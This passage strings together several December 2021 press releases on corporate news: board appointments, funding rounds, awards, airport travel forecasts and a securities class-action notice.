resonance and related products, with such a positive potential to add value to our company. As all CEOs must do, I am committed to bringing talented and experienced people onboard, who are complementary to our existing team, and Rene is exemplary of that evolution." Dr. Rene Lenggenhager states, "I am enthusiastic about joining the Nanalysis team, at the Board level, and helping management continue to refine and focus its product strategy. As my first commitment to the success of the team, I have agreed to invest in the company. Nanalysis has a tremendously talented and energetic group, and I look forward to sharing my extensive experience with the team in order to enhance Nanalysis' growth initiatives. I believe that there are tremendous market opportunities for the company's magnetic resonance products in a variety of industries. Nanalysis is well positioned to take the next step from being a technology driven company to a market driven company, a transition that I've led in the past, and that I'll contribute to at Nanalysis." Chair of the Board of Directors, Mr. Martin Burian adds, "We welcome Rene to the Nanalysis Board of Directors, and look forward to working with him particularly in the context of our strategic evolution and growth. Rene has extensive governance and complementary industry experience, which will serve the company extremely well." Private Placement of Common Shares to Dr. Lenggenhager and Stock Option Grant The Offering will consist of 150,000 Common Shares at a price of $1.35 per share for aggregate gross proceeds of $202,500 to the Company. The placement is fully subscribed by Dr. Lenggenhager, with the proceeds to be used for working capital and general corporate purposes. The closing of the Offering is subject to customary conditions, including approval of the TSX Venture Exchange, and is expected to close before Dec. 16, 2021. All Common Shares issued in connection with this Offering will be subject to a statutory hold period of four months plus a day from the date of issuance in accordance with applicable securities legislation. As part of Dr. Lenggenhager's arrangement to assist management with vertical market product strategy, the Company is granting him 150,000 stock options with an exercise price of $1.50, three year vesting, and five year expiry. About Nanalysis Scientific Corp. (TSXV:NSCI,OTCQX:NSCIF, FRA:1N1) Nanalysis trades on the TSX Venture Exchange (TSXV) in Canada with ticker symbol 'NSCI', OTC and the Frankfurt exchange under the ticker symbol '1N1'. The company's business is what we term "MRI and NMR for industry". The company develops and manufactures portable Nuclear Magnetic Resonance (NMR) spectrometers or analyzers for laboratory and industrial markets. The NMReady-60 was the first full-feature portable NMR spectrometer in a single compact enclosure requiring no liquid helium or any other cryogens. The company has followed-up that initial offering with new products and continues to have a strong innovation pipeline. Nanalysis recently announced that it has begun selling a 100MHz device in 2020. The Company's new device will be the most powerful and most advanced compact NMR device ever brought to market. Nanalysis devices are used in many industries (oil and gas, chemical, mining, pharma, biotech, flavor and fragrances, agrochemicals, law enforcement, and more) as well as numerous government and university research labs around the world. The company continues to exploit new global market opportunities independently and with partners. Notice regarding Forward Looking Statements and Legal Disclaimer This news release contains certain "forward-looking statements" within the meaning of such statements under applicable securities law. Forward-looking statements are frequently characterized by words such as "anticipate", "continue", "estimate", "expect", "may", "would" occur. In addition, without limiting the generality of the foregoing, this news release contains forward-looking statements pertaining to the to the following: the timing of the appointment of Dr. Rene Lenggenhager, the Offering, the timing and completion of the Offering and the use of proceeds of the Offering. These statements are only predictions of what we believe might happen. Various assumptions were used in drawing the conclusions or making the projections contained in the forward-looking statements throughout this news release. Forward-looking statements are based on the opinions and estimates of management at the date the statements are made and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking statements. The Corporation is under no obligation, and expressly disclaims any intention or obligation, to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as expressly required by applicable law. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE Nanalysis Scientific Corp. According to data compiled by ONT officials, 271,075 passengers are expected to fly into and from ONT between December 18 and January 4, a 7% decrease compared with the same period two years ago. The daily average will be just over 15,000 and the highest volume days will be December 21 and December 22 when ONT expects more than 17,000 fliers each day. "Ontario International experienced pre-pandemic passenger volumes over Thanksgiving and though we don't expect the same levels in the weeks ahead our passenger terminals will still be bustling," said Ronald O. Loveridge, vice president of the Ontario International Airport Authority Board of Commissioners. "We look forward to extending our holiday hospitality to customers who choose to travel. They will enjoy the first-rate, hassle-free experience they have come to expect from us." About Ontario International Airport Ontario International Airport (ONT) is the fastest growing airport in the United States, according to Global Traveler, a leading publication for frequent fliers. Located in the Inland Empire, ONT is approximately 35 miles east of downtown Los Angeles in the center of Southern California. It is a full-service airport which, before the coronavirus pandemic, offered nonstop commercial jet service to 26 major airports in the U.S., Mexico, Central America and Taiwan. There is an average of 67 daily departures offered by nine air carriers. More information is available at www.flyOntario.com. Follow @flyONT on Facebook, Twitter, andInstagram About the Ontario International Airport Authority (OIAA) The OIAA was formed in August 2012 by a Joint Powers Agreement between the City of Ontario and the County of San Bernardino to provide overall direction for the management, operations, development and marketing of ONT for the benefit of the Southern California economy and the residents of the airport's four-county catchment area. OIAA Commissioners are Ontario Mayor Pro Tem Alan D. Wapner (President), Retired Riverside Mayor Ronald O. Loveridge (Vice President), Ontario City Council Member Jim W. Bowman (Secretary), San Bernardino County Supervisor Curt Hagman (Commissioner) and retired business executive Julia Gouw (Commissioner). OIAA Media Contact: Steve Lambert, (909) 841-7527 [email protected] SOURCE Ontario International Airport SAN DIEGO, Dec. 15, 2021 /PRNewswire/ -- Phanes Therapeutics, Inc., an emerging biotech company focused on innovative drug discovery and development in immuno-oncology, today announced that it has scheduled a company presentation at Biotech Showcase 2022, to be held January 1012, during the most important week in healthcare at the Hilton San Francisco Union Square. Dr. Ming Wang, CEO, will be presenting Phanes Therapeutics, Inc. at Biotech Showcase as follows: Date: Tuesday, January 11, 2022 Time: 2:15PM (PST) Room: Franciscan C (Ballroom Level) Venue: Hilton San Francisco Union Square Hotel, 333 O'Farrell Street, San Francisco, CA (United States) Phanes Therapeutics is an emerging leader in innovative drug discovery and development in immuno-oncology. The company has built a strong pipeline in immuno-oncology by leveraging its proprietary technology platforms: PACbody, ATACCbody, and SPECpair. Currently it has three assets in the IND-enabling stage, including one best-in-class monoclonal antibody (mAb) program and two first-in-class bispecific antibody programs and expects to file 3 INDs in 2022. Its pipeline includes humanized mAbs and single-chain variable fragments (scFvs) against multiple tumor-specific antigens (TSAs) that are suitable for ADC and CAR-T applications, respectively. The company's bispecific antibody platform is PACbody, a proprietary approach for constructing native IgG-like bispecific antibodies without using protein engineering so that the antibody molecules maintain native structures with superb CMC characteristics. The second technology platform the company is developing is ATACCbody, a proprietary technology for targeting solid tumors using immuno-oncology molecules with minimal risk of cytokine release syndrome (CRS). The third technology platform the company developed is SPECpair, which allows mAb-like manufacturability of bispecific antibodies with native IgG-like structures. "We have signed two out-licensing deals in recent months and expect to file three INDs next year. These milestones represent a strong validation of our scientific strength and innovative approach," said Ming Wang, PhD, MBA, CEO of Phanes Therapeutics. "At Phanes, our mission is to become a major source of innovation in the biopharma industry. We are fully committed to delivering robust therapies to patients with highly unmet medical needs. We will continue to leverage partnerships with companies that have capabilities complementary to ours." Biotech Showcase, produced by Demy-Colton and EBD Group, is an investor conference focused on driving advances in therapeutic development by providing a sophisticated networking platform for executives and investors that fosters investment and partnership opportunities. The conference takes place each year during the course of one of the industry's largest gatherings and busiest weeks. "We are delighted that Phanes Therapeutics will be presenting at Biotech Showcase this year," said Sara Demy, CEO of Demy-Colton. "Biotech Showcase is a prime occasion for life science entrepreneurs and investors to come together to discover the potential of innovative technologies that will drive the future of drug discovery." ABOUT BIOTECH SHOWCASE Biotech Showcase is an investor and networking conference devoted to providing private and public biotechnology and life sciences companies with an opportunity to present to, and meet with, investors and pharmaceutical executives in one place. Investors and biopharmaceutical executives from around the world gather in San Francisco during this bellwether week which sets the tone for the coming year. Now in its 14th year, this well-established, highly respected conference features multiple tracks of presenting companies, plenary sessions, workshops, networking, and an opportunity to schedule one-to-one meetings. Biotech Showcase is produced by Demy-Colton and EBD Group. Both organizations have a long history of producing high-quality programs that support the biotechnology and broader life sciences industry. ABOUT PHANES THERAPEUTICS, INC. Phanes Therapeutics, Inc. is a biotech company focused on innovative drug discovery in immuno-oncology. Based in San Diego, California, the company's management team members previously held senior managerial and R&D positions in leading global pharmaceutical and biotech companies with extensive experience in R&D, commercialization, and business development. For more information, please visit www.phanesthera.com. Follow Biotech Showcase at @EBDGroup and @Demy_Colton and tag your posts with #BiotechShowcase. SOURCE Phanes Therapeutics Bret Kidd , the current CEO of subsidiary Electronic Transaction Consultants (ETC) appointed CEO of Quarterhill replacing Paul Hill effective immediately Quarterhill to combine its corporate office with the office of ETC Quarterhill to Seek Strategic Alternatives for WiLAN TORONTO, Dec. 15, 2021 /PRNewswire/ - Quarterhill Inc. ("Quarterhill") (TSX: QTRH) (OTCQX: QTRHF), announces that its Board of Directors (the "Board") has approved a plan to accelerate the company's transition into a growth-oriented business focused on the exciting Intelligent Transportation Systems ("ITS") industry. The global ITS industry is projected to grow from $45B in 2020 to $90B in 2025, a 15% CAGR. ITS has significant tailwinds; governments face massive declines in traditional infrastructure funding sources and are turning to tolling and other forms of mobility user fees to fill the gaps. At the same time, advances in mobility technology are enabling public policies around congestion management, safety and sustainability in ways that weren't possible just a few years ago. These same technologies are improving convenience and choices for consumers and businesses with ever smarter vehicles and "Mobility as a Service" models that enable transportation to be purchased exactly how and when it's needed. The new Quarterhill is committed to global leadership in ITS and will operate through two main divisions, Electronic Transaction Consultants ("ETC") and International Road Dynamics ("IRD"). Quarterhill will continue to develop its ITS platforms with ETC focusing on tolling and IRD focusing on commercial vehicle operations and enforcement technologies. Effectively immediately the Board is pleased to announce that Bret Kidd, the current CEO of ETC will be promoted to CEO of Quarterhill and will be appointed to the Quarterhill Board. Bret will also continue as interim CEO of ETC until a successor is appointed. Bret joined ETC as CEO in 2019, with 25 years of experience leading technology services businesses in the travel, transportation and public sectors. His transportation experience includes executive roles at EDS, where he led the Travel and Transportation portfolio, and at Travelport, a $2B travel technology business, where he served as President of Travelport Americas and led its global Airline IT, SaaS and analytics business unit. Bret's government-industry experience includes creating and leading Hewlett Packard's Global Public Sector unit, spearheading aviation security initiatives at EDS following the 911 attacks and working on Capitol Hill for U.S. Senator Phil Gramm. Bret earned a BBA from Texas A&M and an MBA from Harvard Business School. Mr. Kidd will continue to drive Quarterhill's growth in the ITS space via both organic and inorganic means, and in the coming months, he will integrate Quarterhill's corporate office with ETC's corporate office, which is located in Richardson, Texas, just north of Dallas. "Bret has the industry expertise, operational experience and growth track record to lead Quarterhill in its next phase," said John Gillberry, Chair of Quarterhill. "We believe the best way to take advantage of our ITS opportunity is to drive our growth and future earnings through the operating companies, led by individuals who are immersed in the industry and who have their finger on the pulse of the business while monitoring critical technology changes and the evolving nature of the industry. To this end, Bret fits the bill." Paul Hill will be leaving the employ of Quarterhill effective immediately and will be resigning from the Quarterhill Board. The Board is grateful to Mr. Hill for his significant contributions since commencing employment in June 2020 and wishes him the very best in his future endeavors. WiLAN Strategic Review Quarterhill plans to hire investment bankers in the coming weeks to conduct a strategic review of WiLAN Inc. ("WiLAN"). Strategic alternatives to be considered may include changes to the corporate structure of WiLAN, the acquisition or disposition of assets, a going private transaction, joint ventures, the sale of WiLAN, alternative operating models, among other potential alternatives. There can be no assurance that this strategic review process will result in the completion of any transaction or other alternative. A special committee of the Board, working closely with Mr. Kidd will oversee this strategic review of WiLAN over coming months. Quarterhill will provide additional details by way of press release as this process progresses over the coming months. Conference Call Details Quarterhill's Chair John Gillberry and CEO, Bret Kidd will host a conference call today at 8:30am ET to discuss these corporate developments. Webcast Information The live audio webcast will be available at: https://produceredition.webcasts.com/starthere.jsp?ei=1519718&tp_key=2f1ac0a840 Dial-in Information To access the call from Canada and U.S., dial 1-888-664-6392 (Toll Free) and U.S., dial 1-888-664-6392 (Toll Free) To access the call from other locations, dial 416-764-8659 (International) Replay Information Webcast replay will be available for 90 days at: https://produceredition.webcasts.com/starthere.jsp?ei=1519718&tp_key=2f1ac0a840 Telephone replay will be available from 1:00 p.m. ET on December 15, 2021, until 11:59 p.m. ET on December 22, 2021, at: 1-888-390-0541 (Toll Free North America) or 416-764-8677 (International). Replay Passcode is 355015. About Electronic Transaction Consultants, LLC ETC is a leading U.S. intelligent transportation systems and smart mobility provider, developing and delivering best-in-class solutions for tolling, congestion management, urban mobility, and multimodal transportation needs. ETC's passionate and innovative team has been driving the future of mobility since 1999, with many industry firsts, including all-electronic tolling (AET), dynamic pricing, agency interoperability, hosted mobility solutions and machine learning. For over two decades, ETC has delivered sophisticated solutions to many of the largest toll authorities in the U.S., including statewide programs, county networks and tolling-specific authorities. ETC's solutions process over two billion transactions annually, totaling over $3 billion in customer revenues, incorporating the latest in evergreen open-source and SaaS technologies and Big Data architecture through our innovative riteSuite products. For more information on our products and services, please visit www.etcc.com. About International Road Dynamics Inc. IRD is a dynamic technology company engaged in developing key components and advanced systems for the next generation of transportation networks. Together with subsidiaries PAT Traffic, ICOMS Detections, SensorLine and VDS, IRD supplies Intelligent Transportation Systems (ITS) to private corporations, transportation agencies, and highway authorities around the world. IRD's systems make highways safer, greener, and more efficient. Known globally as a trusted partner providing sales, service, and installation support on major ITS projects for over 40 years, IRD contributes to creating smarter cities by empowering engineering and urban planning professionals to access reliable traffic data. For more information: www.irdinc.com About WiLAN Inc. WiLAN, a Quarterhill company, is one of the most successful patent monetization companies in the world and partners with its customers to unlock the value of intellectual property through various patent monetization models. WiLAN operates in a variety of markets including automotive, digital television, Internet, medical, semiconductor and wireless communication technologies. For more information: www.wilan.com About Quarterhill Inc. Quarterhill is a growth-oriented company in the Intelligent Transportation System (ITS) industry as well as, through its Wi-LAN Inc. subsidiary, a leader in Intellectual Property licensing. Our goal is to execute an investment strategy that capitalizes on attractive growth opportunities within ITS - and its adjacent markets - to become a global leader in that industry. Quarterhill is listed on the TSX under the symbol QTRH and on the OTCQX Best Market under the symbol QTRHF. For more information: www.quarterhill.com Forward-looking Information This news release contains forward-looking statements regarding IRD, Quarterhill and their businesses. Forward-looking statements are based on estimates and assumptions made by IRD and/or Quarterhill in light of their experience and perception of historical trends, current conditions, expected future developments and the expected effects of new business strategies, as well as other factors that IRD and/or Quarterhill believe are appropriate in the circumstances. The forward-looking events and circumstances discussed herein may not occur and could differ materially as a result of known and unknown risk factors and uncertainties affecting IRD and/or Quarterhill, including: potential risks and uncertainties relating to the ultimate geographic spread of the novel coronavirus ("COVID-19"); the severity of the disease; the duration of the COVID-19 outbreak; actions that may be taken by governmental authorities to contain the COVID-19 outbreak or to treat its impact; the potential negative impacts of COVID-19 on the global economy and financial markets and any resulting impact on IRD and/or Quarterhill and/or their businesses. Other factors include, without limitation, the risks described in Quarterhill's March 11, 2021 annual information form for the year ended December 31, 2020 (the "AIF"). Copies of the AIF may be obtained at www.sedar.com. IRD and Quarterhill recommend that readers review and consider all of these risk factors and notes that readers should not place undue reliance on any of IRD's forward-looking statements. IRD has no intention, and undertakes no obligation, to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law. SOURCE Quarterhill Inc. Related Links https://www.quarterhill.com/ LOS ANGELES, Dec. 15, 2021 /PRNewswire/ -- Next year (2022) marks the 30th Anniversary of The Los Angeles Riots, which were sparked by the acquittal of four police officers charged in the vicious beating of Rodney King. Rodney King's daughter Lora King has partnered with The Human Gathering to create a limited series, featuring conversations with notable individuals who were impacted by what happened to her father, as well as the aftermath of The Los Angeles Riots and subsequent police brutality incidents. "I've gotten to know many of the family members who have experienced police brutality like our family did," says Lora King. Shortly after Philando Castile was killed by the police, Lora King connected with his mother Valerie Castile. "I'll never forget the first call I had with Valerie," says Lora's friend and producing partner Joshua Jordison. "She and I spoke on the phone for several hours, during the middle of the night. It was one of the most profound conversations I've ever had. As powerful as that conversation was, it paled in comparison to the conversation that Lora had with her," says Jordison. "Lora has continually reached out to and gotten to know these families over the years. The time now seems right to tell that story. And we will do that through this limited series," says Jordison. "Lora is able to bring these families together in a way that no one else really can. We expect that theme of togetherness to anchor this limited series," he says. NEW YORK, Dec. 14, 2021 /PRNewswire/ -- WHY: Rosen Law Firm, a global investor rights law firm, reminds purchasers of the securities of ON24, Inc. (NYSE: ONTF) pursuant and/or traceable to the registration statement and prospectus issued in connection with the Company's February 2021 initial public offering ("IPO") of the important January 3, 2022 lead plaintiff deadline. SO WHAT: If you purchased ON24 securities pursuant and/or traceable to the IPO you may be entitled to compensation without payment of any out of pocket fees or costs through a contingency fee arrangement. WHAT TO DO NEXT: To join the ON24 class action, go to http://www.rosenlegal.com/cases-register-2196.html or call Phillip Kim, Esq. toll-free at 866-767-3653 or email [email protected] or [email protected] for information on the class action. A class action lawsuit has already been filed. If you wish to serve as lead plaintiff, you must move the Court no later than January 3, 2022. A lead plaintiff is a representative party acting on behalf of other class members in directing the litigation. WHY ROSEN LAW: We encourage investors to select qualified counsel with a track record of success in leadership roles. Often, firms issuing notices do not have comparable experience, resources or any meaningful peer recognition. Many of these firms do not actually litigate securities class actions. Be wise in selecting counsel. The Rosen Law Firm represents investors throughout the globe, concentrating its practice in securities class actions and shareholder derivative litigation. Rosen Law Firm has achieved the largest ever securities class action settlement against a Chinese Company. Rosen Law Firm was Ranked No. 1 by ISS Securities Class Action Services for number of securities class action settlements in 2017. The firm has been ranked in the top 4 each year since 2013 and has recovered hundreds of millions of dollars for investors. In 2019 alone the firm secured over $438 million for investors. In 2020, founding partner Laurence Rosen was named by law360 as a Titan of Plaintiffs' Bar. Many of the firm's attorneys have been recognized by Lawdragon and Super Lawyers. DETAILS OF THE CASE: According to the lawsuit, representations made in the registration statement and prospectus used to effectuate the Company's IPO were materially inaccurate, misleading, and/or incomplete because they failed to disclose, among other things, that the surge in COVID-19 customers observed in the lead up to the IPO consisted of a significant number that did not fit ON24's traditional customer profile, and, as a result, were significantly less likely to renew their contracts. To join the ON24 class action, go to http://www.rosenlegal.com/cases-register-2196.html or call Phillip Kim, Esq. toll-free at 866-767-3653 or email [email protected] or [email protected] for information on the class action. No Class Has Been Certified. Until a class is certified, you are not represented by counsel unless you retain one. You may select counsel of your choice. You may also remain an absent class member and do nothing at this point. An investor's ability to share in any potential future recovery is not dependent upon serving as lead plaintiff. Follow us for updates on LinkedIn: https://www.linkedin.com/company/the-rosen-law-firm, on Twitter: https://twitter.com/rosen_firm or on Facebook: https://www.facebook.com/rosenlawfirm/. Attorney Advertising. Prior results do not guarantee a similar outcome. Contact Information: Laurence Rosen, Esq. Phillip Kim, Esq. The Rosen Law Firm, P.A. 275 Madison Avenue, 40th Floor New York, NY 10016 Tel: (212) 686-1060 Toll Free: (866) 767-3653 Fax: (212) 202-3827 [email protected] [email protected] [email protected] www.rosenlegal.com SOURCE Rosen Law Firm, P.A. Related Links www.rosenlegal.com SAN FRANCISCO, Dec. 14, 2021 /PRNewswire/ -- Solvvy , the leading conversational AI and automation solution for customer support, today announces its leadership placements on multiple G2 reports for the Winter of 2022. Solvvy was featured in 27 leader reports and grids and ranked highest in the categories of Customer Self-Service and Chatbots. "It's always an honor to be recognized as a Leader in your category on G2, but we're particularly honored to place number 1 on the Relationship Index, amongst so many of the leading companies in the customer support ecosystem," said Mahesh Ram, chief executive officer and co-founder of Solvvy. "The entire Solvvy team is obsessed with making our customers and their teams successful, so this is a wonderful acknowledgment of those efforts." Solvvy received top accolades in the following areas: No. 1 on the Relationship Index for Customer Self-Service. Solvvy ranked ahead of other CRM, chatbot, and automation providers in ease of doing business with a company, quality of support, and likelihood of customers to recommend. No. 2 on the Results Index for Customer Self-Service thanks to high return on investment, ability to meet key requirements, and level of user adoption. Solvvy customers achieved positive ROI in less than half the time of the industry average. Solvvy was named a Leader on the Customer Self-Service Grid Report. Products shown on the Grid for Customer Self-Service are ranked by customer satisfaction and market presence. Solvvy was named a High Performer in the Chatbots Grid Report. Products shown on the Grid for Chatbots are ranked by customer satisfaction reviews and market presence. Solvvy was named a Momentum Leader in the Customer Self-Service category, reflecting the company's continued growth and influence in the Customer Support ecosystem. "Solvvy's Conversational AI for customer support provides fast, personalized help to customers while enabling huge gains in a support team's productivity," added Ram. "We also deliver ROI faster than others in the industry as evidenced by G2's Results Index. We are very proud of the results our customers are seeing and can't wait to bring better technology and deliver more value moving forward." To read what customers have to say about Solvvy, please visit https://www.g2.com/products/solvvy/reviews . About Solvvy Solvvy is Conversational AI for customer support that delivers the modern, effortless experience consumers want. Our conversational AI and automation platform delivers fast, personalized resolutions for customers, improves agent productivity, and uncovers valuable insights that empower support leaders. Solvvy handles millions of customer conversations monthly for top brands such as HelloFresh, Vimeo, Under Armour, Twilio, and Ring, all of whom choose Solvvy as their digital teammate to deliver a 24/7, brand-boosting customer experience that also drives massive operational savings. Solvvy has been recognized as a Gartner Cool Vendor and is a 2022 Leader, Momentum Leader, and High Performer on G2 Crowd. SOURCE Solvvy We are grateful to our Swish White River Ltd. associates, who over the last 20 years have been instrumental in establishing Swish as the leading distributor of jan-san, paper, and packaging products in the Northeastern United States. "With this change, the Swish Group of Companies' focus is to continue accelerating as industry leaders. We believe there are great opportunities in the market that fit our existing and future business, and we are looking forward to growing," said Anthony Ambler, Chairman of the Swish Group of Companies. Swish Maintenance Limited (Canadian distribution), Charlotte Products Ltd. (North American manufacturing), and OptiSolve (precision cleaning technology) are not part of the transaction. As part of the transaction, Swish Group company Charlotte Products Ltd. will continue to manufacture and supply its best-in-class cleaning chemistry brands Swish, Enviro-Solutions, and ServClean for Envoy/Swish White River. "Charlotte has best-in-class R&D, manufacturing, and a great portfolio of brands. We're really excited to expand our relationship with Envoy Solutions," said Matt Strano, CEO of Charlotte Products Limited. Swish Maintenance Limited will continue to grow its distribution across Canada through organic growth and strategic acquisitions. OptiSolve, Swish's technology company will promote "precision cleaning" through its quality management software and proprietary surface imaging and reporting technology allowing management to track cleaning trends in their facilities by areas, surfaces, and employees. SOURCE Swish Group of Companies SAN FRANCISCO, Dec. 15, 2021 /PRNewswire/ -- Talent Board, a non-profit organization focused on the promotion and benchmark research of a quality candidate experience, today released its primary 2021 candidate experience benchmark research report. 2021 CandE Benchmark Research Reports This year over 150 companies hiring around the world participated in the 2021 Talent Board benchmark research program (also known as the CandEs), which ultimately collected the feedback and experiences of nearly 200,000 job candidates. The largest study of its kind, the Talent Board benchmark research has evaluated responses from over 1,200 of global employers and over 1.25 million job seekers since 2011. Talent Board's benchmark research covers recruiting and hiring experiences from pre-application to onboarding, what makes for positive and fair candidate experiences, how employers are delivering those experiences, and what CandE award winners are doing better companies that have the highest positive candidate ratings in the Talent Board research. Some of this year's key takeaways include: Candidate Resentment Is on the Rise. One thing is certain: Positive candidate experiences are on the decline, at least in North America and EMEA this year, and that impacts whether or not candidates are willing to apply again, refer others, be a brand advocate, and/or make purchases from consumer-based businesses. Positive candidate experiences initially increased during the pandemic (in all the regions we track), but unfortunately, candidate resentment has returned to pre-pandemic levels in North America and EMEA. In North America , candidate resentment rose from 8% in 2020 to 14% in 2021, a 75% spike. This is the largest increase since Talent Board began its research a decade ago. One thing is certain: Positive candidate experiences are on the decline, at least in and EMEA this year, and that impacts whether or not candidates are willing to apply again, refer others, be a brand advocate, and/or make purchases from consumer-based businesses. Positive candidate experiences initially increased during the pandemic (in all the regions we track), but unfortunately, candidate resentment has returned to pre-pandemic levels in and EMEA. In , candidate resentment rose from 8% in 2020 to 14% in 2021, a 75% spike. This is the largest increase since Talent Board began its research a decade ago. Artificial Intelligence Improves Candidate Experience. Top companies are more likely to have implemented artificial intelligence recruiting technology to improve their sourcing capabilities, their communication with candidates and to support recruiters in their roles. Automation can free recruiters up to work more efficiently, improving candidate experience outcomes. Top companies are more likely to have implemented artificial intelligence recruiting technology to improve their sourcing capabilities, their communication with candidates and to support recruiters in their roles. Automation can free recruiters up to work more efficiently, improving candidate experience outcomes. Feedback Loops Are Critical. Candidates for CandE-winning companies who were asked for feedback at every stage of the recruiting process indicated they were more likely to increase their relationship with the employer. And while all stages are important, those candidates who make it to the screening and interviewing phase are most likely to be encouraged to apply again in the future. 43% more candidates from CandE-winning companies were asked for feedback at the end of the interview stage than all other employers. "No matter what the world looks like, each year we know that timely communication, expectation setting, feedback, transparency, and closure are competitive differentiators," said Ron Machamer, Talent Board director of global programs. "Communication and feedback loops at every stage of the recruitment process continue to be critical, can equate to a greater fairness for candidates, and can generate a positive impact on business outcomes and the employment brand." "While the competitive candidate experience differentiators of communication and feedback remain unchanged each year, this is the first year we've asked candidates to self-identify their race and ethnicity," said Kevin Grossman, Talent Board president. "We found that women and people of color rated their 2021 candidate experiences much more positively than older candidates, male candidates or white/Caucasian candidates did. This may be due, in part, to the more inclusive language and examples of diversity that employers are bringing to their careers sites, candidate communications, job ads and other marketing collateral for their employment brands." The primary 2021 Talent Board North American benchmark candidate experience research report can be downloaded today here. The 2021 EMEA, APAC, and Latin American research briefs will be available in early 2022. The 2022 Talent Board CandE benchmark research program opens in January. About Talent Board Founded in 2011, Talent Board and the Candidate Experience Awards is the first non-profit research organization focused on the elevation and promotion of a quality candidate experience. Talent Board delivers annual recruiting and hiring industry benchmark research that highlights accountability, fairness and the business impact of candidate experience. More information can be found at https://www.thetalentboard.org. Media contact: Kevin Grossman [email protected] 831-419-6810 SOURCE Talent Board METUCHEN, N.J., Dec. 15, 2021 /PRNewswire/ -- MouthWatch, LLC a leader in innovative teledentistry solutions and digital imaging devices, was named to the Inc. 2021 Best in Business list in the health products category. Inc.'s Best in Business Awards honor companies that have gone above and beyond to make a positive impact. TeleDent is a multi-location, multi-user enterprise grade platform that helps organizations at any scale bring the benefits of digital connectivity to dental care. MouthWatch is also the dental market leader for intraoral cameras-which help capture, communicate and document treatment needs for more efficient dental care journeys. mouthwatch.com The list, which can be found in the Winter issue of Inc. magazine (on newsstands December 14), recognizes small- and medium-size privately held American businesses that have had an outstanding influence on their communities, their industries, the environment, or society as a whole. According to Inc. editor-in-chief Scott Omelianuk, "What began for us during the pandemic as an effort to showcase companies that were helping the community has grown into a recognition of social, environmental, and economic impact. The companies on this year's list are changemakers with heart and they're pouring the best of their business into the people and communities around them." Rather than relying on quantitative criteria tied to sales or funding, Inc.'s editors reviewed the companies' achievements over the past year and noted how they made a positive difference in the world. They then selected honorees in more than 49 different industries from finance to software to engineering to fashion, and more and in age-based and revenue-based categories. The applicant pool was extremely competitive, with around 2,700 entries and an acceptance rate in the low single digits a huge success for these honors in the list's second year. Honorees for gold, silver, bronze, and general excellence across industries and categories are featured online at inc.com/best-in-business. "Our primary mission has always been to help providers deliver access to oral care to as many people as possible via teledentistry despite their location or social status," said MouthWatch LLC CEO and founder, Brant Herman. "We are honored to be recognized by Inc. as changemakers with heart." About MouthWatch, LLC: Headquartered in Metuchen, New Jersey, MouthWatch, LLC is a leader in innovative teledentistry solutions, and digital imaging devices. In addition to earing a silver award in Inc.'s 2021 Best in Business List, in recent years, the company received the following significant awards and accolades: The 2020 and 2021 Cellerant Best of Class Award for TeleDent, the provider-focused, patient-friendly teledentistry platform. In 2021, TeleDent also won Dentistry Today's Top 100 Products, Reader's Choice Top 25, and Top Aesthetic and Restorative Products awards. The MouthWatch Intraoral Camera won Dentaltown Magazine's Dental Townie Choice Award in 2021 and 2021 as well as Dentistry Today Magazine's Top 100 Products Award in 2020. What's more, the company's latest product, The MouthWatch Plus+ HD intraoral camera, introduced in September of 2021, has already won a Dental Products Report Top 5 Editor's Choice Award and a Dentistry Today Reader's Choice Top 25 Innovative Products Award. The company was also included in the 2020 and 2021 Inc. 5000 list of the Fastest Growing Privately Held Companies. For more information, visit www.MouthWatch.com . About INC. Media: The world's most trusted business-media brand, Inc. offers entrepreneurs the knowledge, tools, connections, and community to build great companies. Its award-winning multiplatform content reaches more than 50 million people each month across various channels, including websites, newsletters, social media, podcasts, and print. Its prestigious Inc. 5000 list, produced every year since 1982, analyzes company data to recognize the fastest-growing privately held businesses in the United States. The global recognition that comes with inclusion in the Inc. 5000 allows these founders a chance to engage with their peers in an exclusive community with the credibility to help drive sales and recruit talent. The associated Inc. 5000 Conference is part of a highly acclaimed portfolio of bespoke events produced by Inc. For more information, visit www.inc.com. Media contact: Michael Ventriello [email protected] 732-458-3497 SOURCE MouthWatch DENVER, Dec. 15, 2021 /PRNewswire/ -- Teren, formerly SolSpec, announced today $4 million in seed funding, led by Allos Ventures. The AI machine learning software and content company focused on delivering rapid analysis of complex remotely sensed geospatial data also formally announced its rebrand to Teren. The change reflects the company's focus on analyzing how landscapes, environmental threats and asset conditions change over time through actionable 4D insights. The funding will allow Teren to expand its workforce by 40% to address the fast-growing remote-sensing market estimated to exceed $13 billion by 2027. Demand for Teren's proprietary analytics has traditionally been strong within the oil and gas industry, which grapples with geological threats such as landslides that can damage pipelines and present environmental risks. The company is now set to develop solutions that will enable the insurance, solar, environmental and transportation industries to address real climate risk issues affecting their assets. Teren has developed pre-construction surveys and analytics for solar installations and pre-burn and post-burn analytics to improve wildfire mitigation and response. Using its proprietary cloud technologies and machine learning tools, Teren makes massive LiDAR and other Earth observation datasets usable and actionable. The company can quickly identify, prioritize and monitor potential environmental threats, processing data 60 times faster and at a fraction of the cost of other solutions. "Teren is creating turnkey solutions that reinvent how Earth observation data has conventionally been used," said Toby Kraft, Teren's CEO and co-founder. "Our customers have long been plagued by the need to identify the source of their data be it satellite, drone or airborne as well as the sensor type and then hire specialists to analyze the data. We remove all of the inputs and focus on the business decisions our customers need to make. It's a whole new way for our customers to assess all the external forces threatening their physical assets." Teren's Earth observation data and insights are expanding to deliver more change-over-time analytics at scale, furthering its ability to help companies address growing areas of concern such as climate risk and resiliency. This was an important factor in attracting ESG-focused funders such as Allos Ventures, which led the seed round with its $2.5 million investment, as well as Ascent Energy Ventures. "Teren is leading the way in geospatial software innovations," said Don Aquilano, co-founder and managing partner at Allos Ventures. "We believe that this new standard set by Teren will propel the industry forward while continuing to offer companies valuable data to shift their relationship with the environment and climate risk in a positive direction." Teren is rapidly growing and increasing its processing and analytics capacity to continue modernizing environmental data and turning it into actionable information about sustainability, climate risk and threats to physical assets. Learn more at www.teren4d.com. About Teren: Denver-based Teren has emerged as a leader in geospatial analytics. It delivers on its mission to create a safer and more sustainable planet by bringing together people whose individual values are rooted in being part of the solution to today's most pressing environmental challenges. Its unique approach to solving complex problems is fed by innovation, creative thinking and collaboration. Learn more at 